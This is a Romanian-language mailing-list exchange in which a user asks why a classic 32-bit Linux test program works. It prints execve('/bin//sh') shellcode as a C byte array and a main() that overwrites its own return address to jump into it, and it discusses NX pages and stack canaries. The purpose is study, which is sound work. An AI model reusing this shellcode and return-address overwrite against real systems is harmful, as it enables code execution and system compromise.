Buna ziua.<br><br>Pentru cei interesati :<br>Raspunsul la a doua intrebare l-am gasit. Pe scurt : canaries.<br><br>Mai detaliat : se pare ca GCC-ul, pentru orice functie, mai complicata<br>decat declararea unor variabile si atribuirea lor cu valori, genereaza<br>
cod assembler care contine PUSH-uri inainte de a face<br>PUSHL %EBP ; MOVL %ESP, %EBP. Asadar distanta nu mai este<br>de 2 words = 8 bytes, de la variabila ret pana la return-address-ul lui<br>main, salvat pe stiva inaintea apelarii lui main.<br>
<br>Totusi, raspunsul la prima intrebare nu l-am gasit.<br><br>Alexandru<br><br><br><div class="gmail_quote">2012/6/5 Alexandru Goia <span dir="ltr">&lt;<a href="mailto:goia.alexandru.linux@gmail.com" target="_blank">goia.alexandru.linux@gmail.com</a>&gt;</span><br>
<blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">Buna ziua,<br><br>Sa zicem ca avem urmatorul cod sursa :<br><br>char sc[]=              /* 24 bytes                       */<br>
    &quot;\x31\xc0&quot;             /* xorl    %eax,%eax              */<br>    &quot;\x50&quot;                 /* pushl   %eax                   */<br>

    &quot;\x68&quot;&quot;//sh&quot;           /* pushl   $0x68732f2f            */<br>    &quot;\x68&quot;&quot;/bin&quot;           /* pushl   $0x6e69622f            */<br>    &quot;\x89\xe3&quot;             /* movl    %esp,%ebx              */<br>


    &quot;\x50&quot;                 /* pushl   %eax                   */<br>    &quot;\x53&quot;                 /* pushl   %ebx                   */<br>    &quot;\x89\xe1&quot;             /* movl    %esp,%ecx              */<br>


    &quot;\x99&quot;                 /* cdql                           */<br>    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al              */<br>    &quot;\xcd\x80&quot;             /* int     $0x80                  */<br>


;<br><br>main()<br>{<br>        int *ret;<br><br>        ret = (int *)&amp;ret + 2;<br>        *ret = sc;<br><br>}<br><br>Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).<br><br>Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel 32-bit),<br>


caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read &amp; exec,<br>de la adresa 0x08048000, in care se alfa main(), si o pagina read &amp; write (but no exec),<br>in care se afla sc[], de la adresa 0x08049000.<br>


<br>In main, tot ce facem este sa suprascriem pe stiva (care este read &amp; write)<br>adresa de return a lui main(), care suprascrisa trimite la cod executabil de la<br>adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.<br>


<br>So, DE CE functioneaza, totusi ?<br><br>Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX enabled,<br>si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face rwx pe pagini.<br>(Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele cazuri).<br>


<br><br>Partea a 2-a :<br><br>Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai jos,<br>vom obtine de fiecare data segmentation fault. <br><br>Intrebare : DE CE aici nu &quot;merge&quot;, si mai sus &quot;merge&quot; ?<br>


<br>#include &lt;stdio.h&gt;<br><br>char sc[]=              /* 24 bytes                       */<br>    &quot;\x31\xc0&quot;             /* xorl    %eax,%eax              */<br>    &quot;\x50&quot;                 /* pushl   %eax                   */<br>


    &quot;\x68&quot;&quot;//sh&quot;           /* pushl   $0x68732f2f            */<br>    &quot;\x68&quot;&quot;/bin&quot;           /* pushl   $0x6e69622f            */<br>    &quot;\x89\xe3&quot;             /* movl    %esp,%ebx              */<br>


    &quot;\x50&quot;                 /* pushl   %eax                   */<br>    &quot;\x53&quot;                 /* pushl   %ebx                   */<br>    &quot;\x89\xe1&quot;             /* movl    %esp,%ecx              */<br>


    &quot;\x99&quot;                 /* cdql                           */<br>    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al              */<br>    &quot;\xcd\x80&quot;             /* int     $0x80                  */<br>


;<br><br>main()<br>{<br>        int *ret;<br><br>        ret = (int *)&amp;ret + 2;<br>        *ret = sc;<br>
<br>         printf(&quot;Security\n&quot;);<br>}<br><br><br>Referinte :<br><a href="http://www.enderunix.org/docs/en/bof-eng.txt" target="_blank">http://www.enderunix.org/docs/en/bof-eng.txt</a><br><a href="http://www.phrack.org/issues.html?issue=49&amp;id=14#article" target="_blank">http://www.phrack.org/issues.html?issue=49&amp;id=14#article</a><br>


<br>Cu gandul ca doar cu o cunoastere temeinica a subiectului<br>si a feature-urilor de securitate pe care le ofera sistemul de operare<br>putem dormi linistiti daca avem servere conectate la Internet :-),<br>va multumesc,<br>


Alexandru
</blockquote></div><br>